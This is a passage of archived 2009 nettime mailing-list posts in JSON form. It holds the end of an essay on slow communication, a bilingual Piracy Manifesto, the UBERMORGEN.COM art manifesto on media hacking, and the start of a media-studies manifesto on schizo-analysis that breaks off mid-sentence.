uncouple our idea of progress from speed, separate the idea of\nspeed from effi\u00adciency, pause and step back enough to realize that\nefficiency may be good for business and governments but does not always\nlead to mindfulness and sustainable, rewarding relationships. We are here\nfor a short time on this planet, and reacting to demands on our time by\nsimply speeding up has canceled out many of the benefits of the Internet,\nwhich is one of the most fabulous technological inventions ever conceived.\nWe are connected, yes, but we were before, only by gossamer threads that\nworked more slowly. Slow communication will preserve these threads and our\nability to sensibly choose to use faster modes when necessary. It will\nalso preserve our sanity, our families, our relationships and our ability\nto find happiness in a world where, in spite of the Internet, saying what\nwe mean is as hard as it ever was. It starts with a simple instruction:\nDon't send.\n\n?John Freeman is the acting editor of Granta magazine. This essay was\nadapted from his book \"The Tyranny of E-Mail,\" forthcoming from Scribner.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "id": "00009",
                "date": "Fri, 11 Sep 2009 11:54:25 +0200",
                "to": "nettime-l {AT} kein.org",
                "message-id": "186175b3b05e06670f3c8ebc941733be.squirrel {AT} webmail.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0909/msg00009.html",
                "list": "nettime_l",
                "author_name": "Patrice Riemens",
                "subject": "<nettime> John Freeman: Not so Fast! A Manifesto for Slow\tCommunication (WSJ)"
            },
            {
                "content-type": "text/plai",
                "from": "MILTOS MANETAS <m {AT} manetas.com>",
                "content": "\nPiracy Manifesto,\n\nLatest version\n\n(English, Italian, Sept 09)\nThe manifesto can be found here:\n\nhttp://piracymanifesto.com\nIt will be read and discussed\n\nin \n\nBerlin\n\non\n\nSaturday Oct 3 (17-18.30\npm , Raum K 24/21) during the\n\n\n\n\"Make Capitalism History\" Kongress (\n2.-4. Oktober, more info http://make-capitalism-history.de)\nHelp to translate the Manifesto in German and other languages is\nappreciate. Send email at Piracy {AT} PiracyManifesto.com\n\nENGLISH VERSION\n\nPirates of the Internet Unite!\n\n\u201cA man was stopped yesterday at the boarder of Italy and France, his\ncomputer was scanned and pirated material was found, mostly Adobe\nsoftware and songs by Beatles. The man was arrested at the spot\u201d\n\n>From a poem to a drug, from an piece of software to a music record and\nfrom a film to a book, everything that\u2019s famous and profitable, owns\nmuch of its economic value to the manipulation of the Multitudes.\nPeople haven\u2019t asked to know what the Coca Cola logo looks like,\nneither have they asked for the melody of \u201cLike a Virgin\u201d. Education,\nMedia and Propaganda teach it the hard way; by either hammer it our\nbrains or by speculating over our thirst, our hunger, our need for\ncommunication and fun and most of all our loneliness and despair. In\nthe days of Internet, what can be copied can be also shared. When it\ncomes to content, we can give everything with everyone at once. Around\nthis realisation, a new social class is awaking.\n\nThis is not a working class but a class of Producers. Producers are\npirates and hackers by default, they recycle the images, the sounds\nand the concepts of the World. Some of it they invent but most they\nborrow from others. Because information occupies a physical part of\nour bodies, because it is literary \u201cinstalled\u201d in our brain and can\u2019t\nbe erased at wish, people have the right to own what is projected on\nthem. They have the right to own themselves. Because this is a global\nWorld based on inequality and profit, because the contents of a song,\na movie and a book are points of advantage in a vicious fight for\nsurvival, any global citizen has the moral right to appropriate a\ndigital copy of a song, a movie or a book. Because software is an\ninternational language, the secrets of the World are written in Adobe\nand Microsoft: We should try hack them. Finally, because poverty is\nthe field of experimentation for all global medicine, no patents\nshould apply.\n\nToday every man with a computer is a Producer and a Pirate. We all\nlive in the Internet; this is our new country, the only territory that\nmakes sense to defend and protect . The land of the Internet is one of\ninformation. Men should be able to use this land freely, corporations\nshould pay for use - a company is definitely not a person. The\nInternet is now producing \u201cinternets\u201d, situations that exist not only\nonline but also in real space, governed and influenced by what is\nhappening online. This is the time for the foundation of an global\nMovement of Piracy. The freedom of infringing copyright, the freedom\nof sharing information and drugs, are our new Commons, they are Global\nRights and as such, Authorities will not be allow them without a\nbattle. But that will be a strange battle as its the first time the\nmultitudes is disrespecting the Law instinctively and on a global\nscale.\n\nToday, an army of teenagers is copying. Adults are copying, senior\ncitizens are copying, everyone with a computer is copying something.\nLike a novel Goddess Athena, Information wants to break free from\nTechnology, so it assists us on our enterprise.\n\nPirates of the Internet Unite!\n\nITALIAN VERSION\n\nPirati del Internet Unitevi!\n\n\u201cUn uomo e\u2019 stato fermato ieri nella frontiera Italiana con la\nFrancia.\n\nParecchio materiale pirata, principalmente software di Adobe\ne tanti canzoni di Beatles e stato trovato nel suo computer. L\u2019 uomo\ne\u2019 stato arrestato.\u201d\n\nDalle poesie alle\n\n medicine,\n\n dal software alla musica a da I film e a\nI\n\n libri, tutto quel\n\nche diventa famoso,\n\n deve tanto del suo valore\neconomico alla manipolazione delle\n\nmoltitudini. Noi non abbiamo\nchiesto di conoscere Il logo della CocaCola e neanche\n\nvolevamo sapere\na memoria la melodia di \u201cLike a Vergin\u201d.\n\nI media, l\u2019educazione \n\ne la\npropaganda, ci hanno forzato ad imparare tutto ci\u00f2 speculando sul\nnostro bisogno di comunicazione, sulla la nostra necessit\u00e0 di\ndivertirsi ma anche sulla propria solitudine e disperazione.\n\nNei giorni del Internet, tutto quel che pu\u00f2 essere copiato pu\u00f2 essere\nanche condiviso. Quando si tratta di contenuto, noi possiamo subito\ndare tutto a tutti. Attorno a questa realizzazione,\n\n una nuova classe\nsociale si sta svegliando. Questa non e\u2019 una classe operaia-non almeno\nnel senso stretto del termine: e\u2019 invece una classe di Produttori.\n\nGli Produttori sono di natura dei Pirati e dei Hackers; riciclano le\nimmagini, I suoni e I concetti del Mondo. Una parte di questo\nmateriale se lo inventano ma la gran parte se l\u201d appropriano da altri.\nPerch\u00e9 l\u2019informazione occupa un settore fisico del nostro corpo,\nperch\u00e9 viene letteralmente\n\n installata nel nostro cervello e non pu\u00f2\nessere cancellata a piacere, la gente ha Il diritto di appropriasi di\nquel che viene proiettato su di loro. Uno deve avere\n\n Il diritto di\npossedere se stesso.\n\nPerch\u00e9 questa e\u2019 una societ\u00e0 globale basata sulla\ninegualianza e sul profitto, perch\u00e9 Il contenuto di una canzone, di un\n film e di un libro sono dei punti di vantaggio in una feroce lotta\nper la soppravivenza, tutti noi abbiamo Il diritto morale di\nappropriarsi delle canzoni, dei film e dei libri.\n\nA proposito del software poi, considerando che software non e\u2019 altro\nche la nostra\n\n lingua internazionale, si capisce che\n\n I nuovi secretti\ndel Mondo sono scritti in Adobe e in\n\n Microsoft.\n\n\n\nSi deve allora\ntentare di imposessarsi di loro,\n\n hackarli e diffonderli. Infine,\nperch\u00e9 Ia povert\u00e0\n\n e\u2019 I\u2019ll campo sperimentale per ogni nuova pillola e\nmedicinale, I poveri del Mondo hanno gi\u00e0 pagato.\n\nChiunque\n\n attrezzato con un computer e\u2019 gi\u00e0 un produttore ed e\u2019 anche\nun Pirata. Tutti noi viviamo nel Internet, ecco la nostra nuova\npatria, l\u2019unica che vale la pena difendere. La terra del\u2019 Internet e\u2019\nfatta d\u2019informazioni, chiunque deve essere libero di usarla mentre le\ncorporations devono pagare per l\u2019uso. Una corporation non e\u2019\ncertamente una persona. La Internet sta producendo \u201cinternets\u201d,\nsituazioni che si svillupano anche fuori della rette.\n\nEd e\u2019 questo I\u2019ll momento giusto per la fondazione di in movimento\nglobale di Pirateria. La bellezza di calpestare il copyright, la\nlibert\u00e0 di condividere informazione e medicine, sono I nostri nuovi\n\u201cCommons\u201d, I nostri diritti globali e naturalmente non ci saranno\nfacilmente concessi senza una battaglia.\n\n\n\nQuesta pero sar\u00e0 una\nbattaglia divertente, perch\u00e9 e\u2019 la prima volta che le Moltitudini\ndisobidiscono la Legge instintivamente. Oggi esiste una mare di\ngiovani che copiano informazioni, gli adulti anche copiano e anche I\nvecchi. Chiunque con un computer copia:\n\n la informazione, come una\nnuova Dea Atena, vuole tanto uscire dalla testa spaccata della\nTecnologia.\n\nLa Informazione\n\n e\u2019 nel nostro fianco.\n\nPirati del Internet Unitevi!\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "id": "00058",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0909/msg00058.html",
                "to": "nettime-l {AT} kein.org",
                "message-id": "8eab8e700909291415g3b9f6b0ao87ca6233ebd55ab6 {AT} mail.gmail.com",
                "date": "Wed, 30 Sep 2009 00:15:26 +0300",
                "list": "nettime_l",
                "author_name": "MILTOS MANETAS",
                "subject": "<nettime> Latest version of the Piracy Manifesto (English, Italian,\tSept 09)"
            },
            {
                "content-type": "multipart/mixed",
                "from": "UBERMORGEN.COM <play {AT} ubermorgen.com>",
                "content": "\n\ndear nett_timers\n\nour way too late contribution to the discussion which was ongoing  \nsome months ago with the following thread:\n\n<nettime> Political Work in the Aftermath of the New Media Arts  \nCrisis by Geert Lovink\nhttp://www.nettime.org/Lists-Archives/nettime-l-0905/msg00044.html,\n\nattached & linked the updated version of our manifesto,\nhttp://www.ubermorgen.com/manifesto\n\n\nbest regards\nhans&&lizvlx\n++\n\n\n\n\n--- start ---\n\n\n\nUBERMORGEN.COM\nmanifesto\nv1 28.07.2009 (RC1 10.05.2009) *\n\n\n\n\n1.\n\nour work is curiosity driven research.\nsampling is our basic principle of production.\nit is visual. it is textual. we code recombinations.\nwe modify your plain-text.\nThe UM.BOOK**: we relabeled a peter weibel text as an hans ulrich  \nobrist text. then we transformed a hans ulrich obrist interview with  \nmatthew barney into an interview by peter weibel with UBERMORGEN.COM.\n\nwe have no political agenda in our work.\nthis is true for our ideas, research and production.\nthe perception of our work is out of our control and we do not intend  \nto control that either.\nwe have no intention, no goals. we feed our own curiosity\nwe are non-ideological.\nour primary goal is research for our own interests. We experiment in  \nthe legal, technological, social, economical field; satisfying our  \nown personal needs.\n From this independent perspective we can freely investigate into  \nwhatever we are interested in.\n\nwe understand the things that happen around us and to us. We analyze  \nsystem configurations and we then recombine our findings, the facts  \nand the fiction into false originals, foriginal stories. we  \ncontextualize technology with pseudo-politics, social messages with  \ncommerce.\n\nwe are not bound to any medium. although in most cases the core of a  \nproject or a work is digital and happens online, it beginns as a  \nsmall concept text, some images and some code. it is carried on in a  \nhuge cloud of research data.\nthe transfer of the digital to the physical transforms online actions  \ninto supercharged images (prints/photos), installations and sculptures.\n\nour goal:\nwe impact your personal and individual experience\nto look for the emotional kick and feedback,\nto outsource responsability\nto involve the audience emotionally\n\nwhat we do is not pop art\n\nit is rock art.\n\nwe are children of the 1980s. we are the first internet-pop- \ngeneration. we grew up with radical Michael Milken, the king of junk  \nbonds and mythical Michael Jackson, the king of junk pop. during the  \n1990s we loaded ourselves with technology, we call it digital  \ncocaine, with mass media hacking, underground techno, hardcore drugs,  \nrock&roll lifestyle and net.art jet set.\n\nour neuronal networks and brain structures were similar to the global  \nsynthetic network we helped building up and maintained subversive  \nactivity within. and then they got infected: waves of mania and  \ndepression ran through the technical, social and economic structures.\n\ncontemporary high-tech societies deal with hardcore brains using bio- \nchemical agents to control the internal information flow, we call  \nthem psychotropic drugs.\n\nbut how can we treat a mentally ill global network?\n\n\n\n\n\n\n\n\n2.\n\nwe are not activists. we are actionists in the communicative and  \nexperimental tradition of viennese actionism - performing in the  \nglobal media, communication and technological networks, our body is  \nthe ultimate sensor and the immediate medium.\n\nwe have enough free time to think. things happen. we do not control  \nthem. the thing that interests us supermassively is the concept of  \nauthority. be it corporate authority or governmental authority.  \ntotalitarianism, the way masses and individuals respond to a  \nmanipulative oppression and the psychotic mass belief in ?they way  \nthings are? always seems to catch our attention. we call it - citing  \nWilliam Gibson - 'consensual hallucination'.\n\nsome examples:\nGWEI ? Google Will Eat Itself ? deconstructing the totalitarianism of  \nshareholder value by creating a autocannibalistic model.\n[V]ote-auction? commercialized democracy, cutting out the middle man,  \nonline transactions, directly selling and buying of votes as future  \nbusiness model.\nSuperenhanced? physical governmental oppression, NLP (neuro  \nlinguistic programming) and the fascism of newspeak in the area of  \nwar prisoners, enhanced interrogations, detainees, child  \nimprisonment, Supermax facilites and extraordinary renditions.\n\nwe do not know how our work is contextualized and perceived in the  \nart world or the real world. for that matter we do not appreciate  \nreading articles, reviews or theory about our work. we  \nprogrammatically avoid visting exhibitions in art galleries and  \nmuseums, and online we rarely read or look at work. we leave that up  \nto others. you categorize, qualify and contextualize us.\n\nbut in the so called real world our work has legal impact. We are  \nalways in a lot of legal trouble, professionally, personally and  \nartistically. we learned that these issues were easy to resolve. we  \ncall it intended unconsciousness.\n\nsome of these legal controversies serve as precedents to demonstrate  \ninternet legislation. for example: during the vote-auction project a  \nU.S injunction was sent via email to a swiss domain registrar. they  \nthen turned off our domain on no legal basis - U.S court orders are  \nnot valid in switzerland (sic!) - this case was used by the ICANN  \nboard and in various law publications to discuss domain legislation  \nissues. our affirmative artistic reaction was to produce the  \nInjunction Generator, a software that automatically generates such  \ncourt orders and sends them to domain registries, owners, lawyers and  \njournalists to shut down targeted domains.\n\nin some other cases friendly police officers and state agents were  \nhappy to find out that they are not dealing with dark minded  \ncriminals but rather with ?interesting? artists - surely in some  \ncases we do not state who we are or talk about our artistic  \nintention, i.e. the Voteauction project where we positioned ourselves  \nas perverted eastern european business people trying to exploit U.S.  \ndemocracy - but usually governmental agencies perfer to have a nice  \nconversation rather than a criminal investigation. this argument only  \ngoes for pretty much all of mainland europe ? the US and partially  \nthe UK are slightly more threatening.\n\nbut in all other cases, fuck them all!\n\nSosumi\n\nour legal policy: anyone who wants to sue us, threaten us or what:  \nhave you get your court order or whatever the fuck you want, get in  \nline and wait until we serve you. just be aware that there are about  \n15 others waiting with priority, so your chances are very limited.\n\nfinancially, we are deeply in debt, this is very helpful when people  \nwant to hot you with legal bombshells - they go after you in order to  \nhurt you by taking money from you. but we ain?t got no money, so  \nthere is nothing you can take from us. blood from a turnip. we are  \nnot gonna get got. for this reason we rarely show up in court or even  \nsend a lawyer to represent us, we just let them do it by themselves  \nand generate more documents which we then use for our work.\n\non the real life level it is a love-hate relationship: on the  \nindividual level, users and recipients usually react very strongly to  \nour stuff. we welcome all kinds of reactions: fan-mail, hate-mail,  \nlegal mail.\n\nas artists we see it as our responsability to communicate. to talk  \nabout our research findings, to contextualize images, texts, etc.  \ncommunication is part of our 8-5 job but it is not our priority or  \npassion. this is different if it concerns our media hacking  \nactivities, where multi-layered communication is an integral part of  \nthe performance.\n\non the art market we are happy to hold one of the digital art and  \nactionism positions where content is random and not random, where  \nconcept is important but at the same time the surface is queen. we  \ndevelop new ways of showcasing our real new media art - new ways that  \nare rather low-tech than high tech superendeavours.\n\n\n\n\n\n\n\n3.\n\nour relationship to mass media.\n\nwe have no respect for news-journalists, thats for sure. most of them  \nare real scumbags and very unreliable and highly unethical. but, to  \nour favor, they are very easy to manipulate - or as we call it ?work  \nwith?. so for us the press release is an artform.\n\n. television is the best conventional mass medium. they are closest  \nto what we call a shock marketing channel - pumping information into  \nusers brains causing a short shock after which the channel to the  \nbrain is open and unfiltered.\n. newspapers are boring.\n. magazines are usually not interested in our work.\n. books are heavy and eternal. but they are an art medium not a mere  \ninformation transporter.\n. the internet is real-time. that helps coz the faster the wheel is  \nspinning, the easier it is to turn a complicated issue into a story  \nmade out of slogans and a couple of images.\n\nour media hacking strategy is scalable - with media hacking we mean  \nthe intrusion into massmedia with lo-tech means and a good story, so  \nonly courage, intelligence and some technological know how is  \nrequired. from an estimated 500 million eyeballs audience worldwide  \nfor the Vote-auction project to 0/zero mass media audience for our  \nNet.Art piece Black n White, it is all in the game. and we dont work  \nwith expectations, we dont depend on audience. the days when a large  \naudience was a thrill are long gone. it does not help, it does not  \nkick, the only real artistic production happens with input-feedbacks,  \nwhen you send out information and you know you will not be able to  \ncontrol it anymore, the information lives on in mass media, it gets  \nmanipulated and opportunistically used by journalists, politicians,  \nlawyers and business-people and other artists. then through the media  \nthe story comes back to you and you can spin it, kick in abstract or  \nsurreal content and send it out again to a huge audience. this works  \nbest if the audience is very large, this quarantees the attention and  \nfocus of the journalist and the publishing house. this is the media  \nhacking performance, this is acting in the eye of the mass media storm.\n\nso on different scales we perform. we experiment. we develop and use  \na new media strategy for each new project. during the EKMRZ trilogy  \nwe used a combination of attacks:\n\nwith GWEI ? Google Will Eat Itself we targeted about 30-40 opinion  \nleaders. then we waited three months until the story made it?s way to  \nthe top mass media outlets and then down again to the blogosphere,  \nschoolbooks and documentaries. this process is still ongoing.\n\nwith Amazon Noir ? The Big Book Crime we used official press-releases  \nby third parties and our own release. this was the classical way by  \nintention, although unintentionally one third-party pressrelease was  \npublished 6 weeks before the official date, this created chaos and  \nconfusion on both sides and turned out to be nice for everyone.\n\nfor The Sound of eBay we worked with only lo-level media art scene  \npromotion. only our core audience was informed about the project and  \nthey know about it. no fuss, no exagerations. we are still waiting  \nfor feedback.\n\n\n\n\n\n\n\n4.\n\nawareness and the effects of our work on politics and society..\n\nwe are not interested in awareness, and we are not interested in  \nhaving a direct impact on politics, society, military, business or  \ntechnology. though we do think that our research might have a long  \nterm impact. but this is so out of our reach and it is purely  \nspeculative, so we dont think about that much.\n\nmaybe our projects have scientific and educational value. this would  \nexplain all the scientific articles, legal studies, dissertations and  \nmaster thesis.\n\nknowing or learning about the actual impact of our work would present  \nus with borders and boundaries of how far we can go or what we can  \nactually achieve. it could become role-model art. we dont want that.\n\nthe people can change things in a political or activist way, not the  \nart or the artists.\nwe have to focus on our work and give up on the rest. we chill, relax  \nand take it easy. we have done our job. we are artists, we need to be  \nfree of responsability, to not have to think about consequences, to  \nnot limit ourselves just because it could have an effect on this or  \nthat, or could be used for us or against us or other people. we  \nlearned that very early. hacking optimizes the attacked system, we  \naccept that, and we learned to not give a fuck about it.\n\nagain awareness and political affairs.\n\nif art and art production politicizes itself, it becomes politics and  \nceases to be art.\n\nawareness really sucks because everybody knows about a certain topic,  \nbut still they are not doing anything about it and neither give a  \nfuck really. if there is impact of a story or a project of ours, we  \ndont neglect it, but they are simply a sideproduct which we learned  \nto accept and tolerate. but it is most def. interesting to talk to  \nand communicate with people emotionally, directly, personally, fake- \npersonally and right into the core.\n\nthis is still why we love working with the net. doing stuff like the  \nGenerators. they are pieces of software that generate foriginal  \ndocuments - forged originals. for example: court orders, drug  \nprescriptions, bankstatements or rendition orders and enhanced  \ninterrogation scripts. this gives us the chance to target every  \nsingle inividual, be it enemy or friend, on a pseudo-personal basis.  \nwe get them in their home, in front of their laptop or at their  \nworkplace looking at their workstations. this is when a user is  \nvulnerable. this is when they are a good target.\n\npeople using our generators from their homes have no reason to lie to  \nour software. they welcome the infiltration and produce their own  \nreality tv show. at least that is what they are interested in. we  \nnever lie. we work with research, fact and fiction, recombinations of  \nthese and with artistic surplus values.\nwe lure users into being interested in finding out if what they are  \nbeing sucked into is real or not, we mirror their interests and watch  \nthem through the invisible mirror.\n\n\n\n\nUBERMORGEN.COM\nVienna / Amsterdam / Frankfurt, May/August 2009\n\n\n\n\n\n\n\n\n\n* RC1 ?Positions in Flux? Symposium, The Netherlands Media Art  \nInstitute Amsterdam, 8.5.2009\n\" v 1 release, Vienna, 28.7.2009\n\n** UBERMORGEN.COM - MEDIA HACKING VS. CONCEPTUAL ART\nHANS BERNHARD / LIZVLX\nAlessandro Ludovico (Ed.), Christoph Merian Verlag\nhttp://www.ubermorgen.com/books/\n\n\n\n\n\n\n\n\n+++ Users Who Read This Item Also Read +++\n\nUBERMORGEN.COM - MEDIA HACKING VS. CONCEPTUAL ART\nHANS BERNHARD / LIZVLX\nAlessandro Ludovico (Ed.), Christoph Merian Verlag\nhttp://www.ubermorgen.com/books/\n\n+\n\n\n",
                "id": "00018",
                "date": "Sun, 16 Aug 2009 02:15:36 +0200",
                "to": "nettime-l {AT} kein.org",
                "message-id": "E9541C77&#45;294F&#45;4068&#45;81A5&#45;319D3C14389B {AT} ubermorgen.com",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0908/msg00018.html",
                "list": "nettime_l",
                "author_name": "UBERMORGEN . COM",
                "subject": "<nettime> UBERMORGEN.COM manifesto, v1"
            },
            {
                "content-type": "text/plai",
                "from": "\"Pisters, P.P.R.W.\" <P.P.R.W.Pisters {AT} uva.nl>",
                "content": "See also the blog Masters of Media: http://mastersofmedia.hum.uva.nl <https://webmail.uva.nl/exchweb/bin/redir.asp?URL=https://webmail.uva.nl/exchweb/bin/redir.asp?URL=http://mastersofmedia.hum.uva.nl> \n \nMachines of the Invisible\nManifesto for a Schizo-analysis of Media Culture\n\nBy Patricia Pisters (Dept. Media Studies, University of Amsterdam)\n  \n1. Contemporary media are characterized by a stammering stream of an\never growing schizophrenic 'logic of addition'.\n2. 'Old' mass media like television and cinema are not dead but undead.\n3. Schizophrenia points to clinical and critical symptoms of a/v\nculture.\n4. The delirium is socio-political and world historical.\n5. The cinematographic regime is already schizo-analytic in conception;\nthis becomes more evident and widespread in contemporary a/v culture.\n6. The schizo-analytic regime of the image acknowledges 'the reality of\nillusions'.\n7. Immanent powers of the image present them selves in heterogeneous\nways.\n8. The virtual is a real power.\n9. Images have the power to act.\n10. Affect is an autonomous power.\n11. Forgers, magicians, charlatans, tricksters, conmen and delusional\ncharacters are symptoms and diagnosis makers of the powers of the\nfalse.\n \nMachines of the Invisible\nIt is argued with good reasons that digital technology has changed the\nmedia landscape completely: old mass media like film, television and\nradio have been replaced by more fragmented, non-hierarchical,\nrhizomatic forms of media. This is, however, only partly true. By\nlooking at the level of image-production in contemporary a/v media, I\nwill take the changes in the cinematographic apparatus, or the\ncinematographic regime, as a starting point for a manifesto for a\nschizo-analysis of media culture.\n \nThe apparatus theory in the 1970s famously proposed to see cinema as a\n'machine of the visible'. The underlying idea of this approach is that\ncinema produces 'impressions of reality' or 'illusions taken for\nreality'. Cinema is thus seen as a mass medium that invites us into\nideologically determined subject positions. However, in contemporary\nmedia culture the paradigm has shifted: the audio-visual image in\ndigital culture no longer lures us into taking 'illusion for reality'\nbut gives us the 'reality of illusions'.  \n \nAt the heart of this change is the cinematographic apparatus itself,\nwhich now could be conceived as a schizo-analytic producer of\nheterogeneous and multiple connections that is tightly connected to\nother forms of a/v media. The digital cinematographic-apparatus has to\nbe seen as a complex constellation of schizoid 'machines of the\ninvisible'.\n \nand...and...and...\n \n1. Contemporary media are characterized by a stammering stream of an\never growing schizophrenic 'logic of addition'.\nLaptops, mobile phones, webcams, ipods, satellite television, web 2.0:\nnew forms of media grow like wild plants without deep roots (rhizomes)\nin between older forms of mass media (newspapers, film, radio and\ntelevision). Undeniably, 'old mass media' have changed by this but it\ndoesn't mean that they have disappeared completely in the rhizomatic\nnetwork. The television news is no longer the only source of\ninformation, CNN competes with Arab satellite channels, bloggers and\ncivil journalism, hypes emerge online, Youtube and Twitter turn\neverybody into a media producer. But deeply rooted trees are not that\neasily overgrown. The media have become individualized and fragmented\nand specialized and opened up\n \nand... and...\nAnd they are also still mass medial. So no either... or-logic but an ever\ngrowing process. Contemporary media culture can only be thought in the\nstammering stream of an and...and...and logic. A schizophrenic logic of\nintensity and multiplicity that begs for a schizo-analysis.\n \n'We have grass in our heads' ... and there are also still many trees.\n'We're tired of the tree because we have grass in our heads', Deleuze\nand Guattari argue when they introduce non-hierarchical rhizomatic\nthinking in A Thousand Plateaus. At the same time they indicate that\nout of every rhizome a tree can grow, and that trees can behave\nrhizomaticly. So it is not a matter of saying: old media are tools of\ncapitalist ideology, whereas new media free us from ideological\ninterpellation. 'Old' and 'new' media are two different ways of\nthinking and behaving that can have both positive and negative effects,\nproduce the most beautiful creations and the most horrible\nsuffocations. The media are complex and interwoven networks of grass\nroots and tree-structures. \n \nMass media are dead. Long live the mass media!\n \n2. 'Old' mass media like television and cinema are not dead but undead.\nLike zombies or vampires 'old mass media' have strong regenerative\npowers as indicated by the fact that for instance,\na. Programs such as 'Idols', 'Dancing on Ice' and other popular shows\nare still able to keep a mass audience on a Saturday night in front of\nthe television set. Not to mention the Dutch BNN-program 'The Big Donor\nShow' that attracted a million audience, 30.000 potentially new donors\nand was Breaking News all over the world. Cinema retains or regains its\nmultiplex attractions.\nb. Mass media are indeed no longer the most important makers or\ndistributors of the news, but still have a huge filtering function.\nOnly when an internet hype is reported by the 8 o'clock news it becomes\nreally popular and widely followed (such as the 'jumping'-dance hype in\nthe Netherlands). In this way traditional media have become the\n'curators' of the internet.\nc. Mass media use new forms of media as well: podcasting is also still\nradio, the 8 o'clock news on demand is still the 8 o'clock news. Did\nyou miss an emission? 'Were you too afraid to watch (the 'Big Donor\nShow')? Try again', broadcast company BNN says on their website. In\nthis way new media do not weaken the power of the traditional media but\nreinforce it. And beside all fragmentation and multiplication, the\ninternet becomes a huge store, database and audiovisual archive of the\nmass media.\n \nClinical and Critical\n \n3. Schizophrenia points to clinical and critical symptoms of a/v\nculture.\nBy arguing for a schizo-analysis of media culture I am not proposing to\npathologize culture, nor calling for insanity. However, the clinical\nsymptoms of schizophrenia do point to important characteristics of\ncontemporary a/v culture and criticize them at the same time.\nPositive symptoms: an overflow of energy, intensity, everything is\nconnected to everything, liberated and recreated, explosion. As Deleuze\nand Guattari say: 'Connecticut - Connect-I-Cut': machines and bodies,\nbodies that liberate themselves from their normative organization\n(BwO).\nNegative symptoms: intensity turns into catatonia, inertia, apathy,\nimplosion. Every production provokes its own anti-production. That is\nthe core (axiom) of the immanent system of 'capitalism and\nschizophrenia', indicated by Deleuze and Guattari. Our image culture is\nmore like a schizoid delirium that like the psychoanalytic dream. \n \nAlienations: Delirium is socio-political\n \n4. The delirium is socio-political and world historical.\nThe schizoid delirium is situated at the other end of the individual\nOedipal dream. The delirium is in the first place collective,\nsocio-political and world-historical. In Alienations documentary maker\nMalek Bensmail has filmed patients and doctors on a psychiatric ward in\nAlgeria.\n \n'Why are the Americans bombing Iraq...'\n \nThe patients are moving between hyperactivity and a stream of\ndelusional words and catatonic states. But at the same time their\nremarks are incredibly sharp, addressing socio-political issues all the\ntime.\n \nThis documentary also shows that the difference between doctor and\npatient is not that big anymore. Everybody feels the insanity of the\ncontemporary situation. Doctors and patients, but also filmmakers and\nspectators are implicated - we all share the collective deliria of our\naudio-visual media society.\n \nCinematographic regime is schizoanalytic; a/v culture is abstract\nmachine\n \n5.  The cinematographic regime is already schizo-analytic in\nconception; this becomes more evident and widespread in contemporary\na/v culture.\nAs Ian Buchanan has argued the tripartite schizo-analytic conceptual\nschema of 'body without organs', 'assemblage' and 'abstract machine'\ninforms the basic matrix of Deleuze's account of the cinematic image.\nIt follows the logic of the 'frame', the 'shot' and 'montage'. The\nframe selects and deterritorializes the image, presenting it in new\nways (BwO), the shot unites elements in a closed set (assemblage),\nmontage joins together the powers of the frame and the shot (abstract\nmachine).\n \nBut the cinematic image also operates in a larger 'abstract machine' of\nmedia culture, where it can join all kind of hegemonic and resisting\nforces.\n \n From 'Illusions of Reality' to 'Reality of Illusions'\n \n6. The schizo-analytic regime of the image acknowledges 'the reality of\nillusions'.\nThe classical film theoretical notion of the filmed (or mediated) image\nas an 'impression', 'effect' or 'illusion of reality' has modulated\ninto the image as a 'reality of  illusions'. This insight translates\nschizophrenic (and neurobiological and Deleuzian) findings that the\nimage has its own immanent power to do something (in our mind, in the\nworld).\n \nA schizo-analysis of media culture takes into account at least four\nimmanent (and autonomous) powers of the image: the power of the\nvirtual, the power of the performative speech act, the power of affect\nand the power of the false.\n \n7. Immanent powers of the image present them selves in heterogeneous\nways.\nThese powers do not provide an unequivocal model of analysis. They\npresent themselves in all kind forms and on different types of levels,\nthey metamorphose in good and bad, nobel and base and everything in\nbetween.\n \nPower of the Virtual\n \n8. The virtual is a real power.\n'There is no actual image that is not surrounded by a mist of virtual\nimages'. One of Deleuze's last aphorisms seems to grow in relevance\nevery minute. Every image we see resonates in all kinds of ways with\nother images: images from our personal and collective memory, fantasy\nimages, film- and other media images.\n \nMemories are stored on film, a film-image becomes a memory-image. Fact\nand fiction chase each other, virtual and actual form a circuit as in\nthe hall of mirrors of The Lady from Shanghai. Hitchcock's fiction has\nbecome a collective memory. Collective memory has been colored by\nfiction (Stone's JFK). And where is Laura Dern in Inland Empire: in the\npresent, the past, in Poland, in America? In which layer of reality or\nfictions is she moving... or trapped? And in this film, isn't it\nprecisely that scene of her death, explicitly indicated as fictitious\nbecause we see an enormous camera appearing in a suddenly widening\nframe, that is the most raw and social-realistic?\n \nPower of the speech act\n \n9. Images have the power to act.\nAnother power that is acknowledged by a schizo-analytic approach of\nmedia culture, is the power of the speech act, 'act de parole' as\nDeleuze says. Or better still we should perhaps speak of an 'act de l'\nimage'. Philosophers of language have since long demonstrated\nconvincingly that words have performative power: the power to do\nsomething or to have something done. In this way words operate in\nreality. Images have the same kind of (or maybe more) performative\npower of the speech act.\n \nEven if everybody knows that an image is staged, it has an effect: it\npenetrates our mind and puts itself somewhere in the flux of images. Of\ncourse this effect is not new. Propaganda images have been used like\nthis for a long time. But this power goes beyond conscious\npropagandistic means. All images have this creative power of the speech\nact.\n \nSo, in a similar vein the image can be used to tell stories that call a\nminority group into existence, 'creating a people'. The active power of\nthe image is not to be underestimated. The Battle of Algiers has become\nthe Algerian War of Independence.\n \nOn the level of the contents of the images the Algerian women in The\nBattle of Algiers are very conscious of the power of the performative:\nwith bleached hair, speaking perfect French and in an elegant dress the\nFrench barricades in the city are no longer closed. And in a recent\nFrench movie the message is cynical: a simple French man all of a\nsudden sees the absurdity of random (and not so random) identity checks\nand the whole social system: he ends up in a police cell, then in a\npsychiatric hospital and finally looses his job. But with a fake cv and\nfollowing the social 'rules of the game' without too many critical\nquestions, everything turns out all right: ?a va?  tres bien merci!\n \nPower of Affect\n \n10. Affect is an autonomous power.\nThe schizophrenic feeling 